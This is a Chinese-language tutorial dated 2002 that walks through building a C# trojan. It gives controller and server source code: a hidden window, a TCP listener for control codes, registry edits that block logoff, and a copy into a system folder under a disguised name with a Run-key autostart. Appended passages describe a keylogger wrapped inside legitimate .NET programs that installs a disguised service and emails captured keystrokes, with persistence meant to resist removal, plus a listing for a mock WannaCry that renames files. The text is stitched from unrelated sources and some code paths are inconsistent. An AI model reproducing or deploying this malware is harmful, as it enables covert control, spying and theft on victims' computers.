用C#实现木马程序(分析)

前一段时间我写了一个关于用C#木马的程序(程序见前),抱歉没有写分析,让大家难过了,现在补上:)。
  前言:
  我的技术不是很好,如果你是为了学习木马技术也许没有什么启发,这篇文章为了给学习C#的朋友。
  木马的介绍:(参照黑客防线2000-2001精华本中的木马原理揭秘)
   因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。
  使用的技术:
控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。
控制端开发:
   控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。
控制端的开发:
控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。
1 连接请求
使用了.NET类中的 System.Net.Sockets.TcpClient类,
TcpClient(string hostname,int port)
Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类
private void button7_Click(object sender, System.EventArgs e)
        {
              //记录操作,在richTextBox控件中增加操作信息
            richTextBox1.AppendText("请求连接" +textBox1.Text +"/r");
            int port =6678;
            try  
            {
                //初始化 TcpClient 类的新实例并连接到指定主机上的指定端口
                client = new TcpClient(textBox1.Text,port);
            }
            catch    
            {
                MessageBox.Show("服务器不在线!确定是否输入主机名称.");
                richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");
            }
     }//private void buttion
2测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。
//提供网络访问的数据流
        //private NetworkStream stream;
代码如下:
private void button8_Click(object sender, System.EventArgs e)
        {
              //纪录操作
            richTextBox1.AppendText("测试连接" +"/r");
            try
            {
                
                stream = client.GetStream();
                if(stream.CanWrite)
                {
                        //发送控制码
                   string control = "jiance";
                   byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
                   stream.Write(by,0,by.Length);
                    //下次使用
                   stream.Flush();
//启动接收反回数据的线程
//receive是线程执行的函数,见后面的分析
                   threadReceive = new Thread(new ThreadStart(receive));
                   threadReceive.Start();
                }
            }
            catch(Exception ee)
            {
                richTextBox1.AppendText (ee.Message+"/r");
                MessageBox.Show(ee.Message);
            }
}
3控制生效的代码
private void button9_Click(object sender, System.EventArgs e)
        {
             //这里是确定要发送的控制码,RadioButton是窗体控件
            if(radioButton1.Checked){ control = form2.zhucex;}
            else if(radioButton2.Checked){ control =form3.zhuces;}
            else if(radioButton3.Checked){ control = warring;}
            else if(radioButton4.Checked){ control =suggest;}
            else if(radioButton5.Checked){ control =form4.mumawe;}
            else if(radioButton6.Checked){ control =drop;}
            if (control =="000000")
            {
                MessageBox.Show("你没有输入任何控制目标!不发控制信号");
                richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");
            }
            else if(control != "000000")
            {
                try
                {
                        //记录操作
                richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "/r");
                    stream = client.GetStream();
                    if(stream.CanWrite )
                    {
                    byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
                        stream.Write(by,0,by.Length);
                        stream.Flush();
                        threadReceive =new Thread(new ThreadStart(receive));
                        threadReceive.Start();
                    }//endif
                }//try
                catch
                {
                    richTextBox1.AppendText("服务器未连接1控制无效!" +"/r");
                    MessageBox.Show("服务器未连接1控制无效!" +"/r");
                }
            }//else if
}
    
4线程执行的函数
private void receive()
        {
             //设置读取数据的空间
            byte[] bb = new byte[3];
             //读取3个字节,i为实际读取的字节数
            int i = stream.Read(bb,0,3);
             //转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);
            string ss = System.Text.Encoding.ASCII.GetString(bb);
             //hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功
            if(ss=="hjc")
            {
                MessageBox.Show("连接成功");
                richTextBox1.AppendText("连接成功");
            }
            if(ss== "hkz")
            {
                richTextBox1.AppendText(control +"控制成功"+"/r");
                MessageBox.Show(control +"控制成功"+"/r");
            }
}
服务端的开发:
    要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:
1.在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:
private void InitializeComponent()
        {
            //
            // Form1
            //
               //窗体显示的起点和大小
            this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
            this.ClientSize = new System.Drawing.Size(368, 357);
              //窗体名称
            this.Name = "Form1";
              //设置属性让它后台运行
            this.ShowInTaskbar = false;
            this.Text = "Form1";
            this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
}
2. 控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:
public Form1()      //窗体的构造函数
        {
            //
            // Windows 窗体设计器支持所必需的
            //
            InitializeComponent();

            //
            // TODO: 在 InitializeComponent 调用后添加任何构造函数代码
            //加入你的侦听代码
            //端口你可以自已设定,我使用了固定的端口
            int port  =6678;
            //System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的
            listener = new TcpListener(port);
            //启动侦听
            listener.Start();
            //增加接收控制码的线程,如果要停止线程可以用 Thread.abort()
//reControlCode 是线程启动执行的函数,此函数根据接收的控制
//控制码选取合适的注册表修改函数
            Thread thread = new Thread(new ThreadStart(reControlCode));
            thread.Start();
    }
reControlCode函数如下,完整代码见程序
private void reControlCode()
        {
             //设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求
            socket = listener.AcceptSocket();
             //如果连接成功执行
            while (socket.Connected)
            {
                   //接收控制码
                byte [] by =new byte[6];
                int i = socket.Receive(by,by.Length ,0);
                string ss = System.Text.Encoding.ASCII.GetString(by);
                //根据控制码执行不同的功能
                
                //修改注册表加入编码
                switch (ss)
                {
case "jiance"://测试连接,返回测试信息
                        string str ="hjc";
                        byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
                        socket.Send(bytee,0,bytee.Length,0);
                        break;
                    case "zx1000":
                               //修改注册表函数,自已定义,见下面分析
                            UnLogOff();
                               //返回控制消息
                           retMessage();
                           break;

                    case  "zx0100":
                                //修改注册表函数
                            UnClose();
                                //返回控制消息
                            retMessage();
                            break;
                          //重复的case功能与前面一样,略掉
                         default:
                                break;
                }//case
            }//while
        }  //private void reControlCode
3.C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer
下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改:
private void UnLogOff()
        {
               //得到主机的注册表的顶级节点
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
//设置一个注册表子键的变量
              RegistryKey key1;
            try
            {
                //函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键
                //registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改
                key1 =
rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);
                 //设置子键的键名,和值
                key1.SetValue ("NoLogOff",1);
                 //关闭打开的子键
                key1.Close();
                 //警告字符串设定
                mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值Nologoff被修改!请将它置为0!";
            }
            catch{}
              //如果不存在自已建立
            if(key1 ==null)
            {
                try
                {
                       //使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键
                    RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");
                    key2.SetValue("NoLogOff",1);
                    key2.Close();
                    mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值Nologoff被修改!请将它置为0!";
                }
                catch{}
            }
}
4.在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C://winnnt//system//msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。
private void moveCC1()
        {
            try
            {
            //函数File.Move(string sourceFileName,string destFileName)起移动文件的作用
         //sourceFileName为要移动的文件名,destFileName为文件的新路径
    File.Move("C://winnnt//system//msdoss.exe","d://winnt//system32//expleror.exe");
            }
            catch {}
              //将新移的木马程序设为自启动.分析和前面一样
            try
            {
                key1  = rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run",true);
                key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe");
                key1.Close();
            }
            catch{}
            if(key1 ==null)
            {
                try
                {
                    RegistryKey key2=rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
                    key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe");
                    key1.Close();
                }
                catch{}
            }
    } //moveCC1()
到这里一个简单的C#的木马就完成了,如果有有疑问请到 www.vchelp.net论坛的C#或是.NET版面和我讨论,或发信给我 chenweijun_sh@etang.com,当然你也可以和黑防联系。
                                               落叶夏日  
                                                           2002-07-29
1、首先解决开机启动木马。通过建立开机启动服务达到目的; 2、伪装问题。通过c#反射性能,将正常的.net的exe文件添加监控盗传播取等其他功能,执行正常程序同时,后台悄悄释放windows服务,通过服务释放调取木马exe; 3、传播问题。可以包装一个.net做的,使用比较广的软件,因为通过反射可在exe内执行其他功能,至于执行什么功能想到了就可以做 4、在执行本例子前,先随意编写一个.Net的exe文件,在“被包装exe文件名”指向该文件,其中“监控执行检测间隔():”设置大一些,因为监控程序随着服务开机启动,需windows启动成功后方可正常运行。“建立的服务名”、“服务文件路径和名称”、“监控文件路径和名称”为防止用户删除,放置在windows里面的一些文件夹内部,名字起得系统一些,比如“UpdataServer”等等,就是使用户不知道他是干嘛的,不会删除的那种。本例子生成的exe文件,除了执行你编写的.Net的exe文件外,监控你设定的多个进程,记录键盘,并按照你设定的时间定时发送键盘记录到你设定的邮箱。程序里执行的监控代码和安装服务代码为字符串形式,根据你填写的条件,并自动编译为临时文件,并生成包装后的C#代码,自动编译后输出exe文件。执行该exe文件,看到的为你编写的.Net的exe文件效果,后台建立了开机启动的一个服务,并释放了一个监控exe文件,通过服务执行,并每次开机就执行服务来开启监控。 5、如需对监控进行加固,变为用户不可删除,可以修改代码字符串,加入建立多个windows服务,并在监控程序内检测windows服务是否存在,并释放执行windows服务,在服务字符串代码内释放多个exe监控,形成多服务、多exe的相互检测、相互释放,这样用户除非重做系统,否则不能删除该监控,这个加固功能就不提供代码了。 这里提供代码的只是建立单一服务、单一监控的,可以删除掉的代码。 这里只是监控键盘发送邮件,想干别的,自行修改功能代码
1.项目代码均经过功能验证ok,确保稳定可靠运行。欢迎下载体验!下载完使用问题请私信沟通。 2.主要针对各个计算机相关专业,包括计算机科学、信息安全、数据科学与大数据技术、人工智能、通信、物联网等领域的在校学生、专业教师、企业员工。 3.项目具有丰富的拓展空间,不仅可作为入门进阶,也可直接作为毕设、课程设计、大作业、初期项目立项演示等用途。 4.当然也鼓励大家基于此进行二次开发。在使用过程中,如有问题或建议,请及时沟通。 5.期待你能在项目中找到乐趣和灵感,也欢迎你的分享和反馈! 【资源说明】 实现功能: 1、修改桌面背景 2、模拟真实wannacry病毒界面 3、对Wannacry.exe目录下除exe文件外的所有文件均修改后缀名为.WNCRY 适应系统: 仅在Windows7、Windows10、Windows server 2008等系统中进行过测试 使用方法: 将WannaCry.exe放置于合适的目录下双击运行即可 注意事项: 1、修改为.WNCRY的文件为Wannacry.exe同目录下的文件,非桌面文件 2、修改桌面背景是调用的Windows函数,不会对注册表进行修改 3、只对wannacry.exe同目录下的文件进行修改后缀名操作,不会对子目录下的文件进行操作 4、为避免将大量文件修改为.WNCRY后缀导致无法使用,建议同目录下放置少量文件,留三五个做演示即可 5、.WNCRY文件并非真正的加密,仅是为了达到加密效果修改的文件后缀名,对原文件无任何影响,可通过修改后缀名恢复原文件 一个C#控制台程序,用于批量恢复被Wannacry.exe “加密”的文件,源码在Anti_WannaCry文件夹下 使用方法: 将Anti_WannaCry.exe放置于需要恢复的目录下双击运行即可,只能恢复当前目录下的文件
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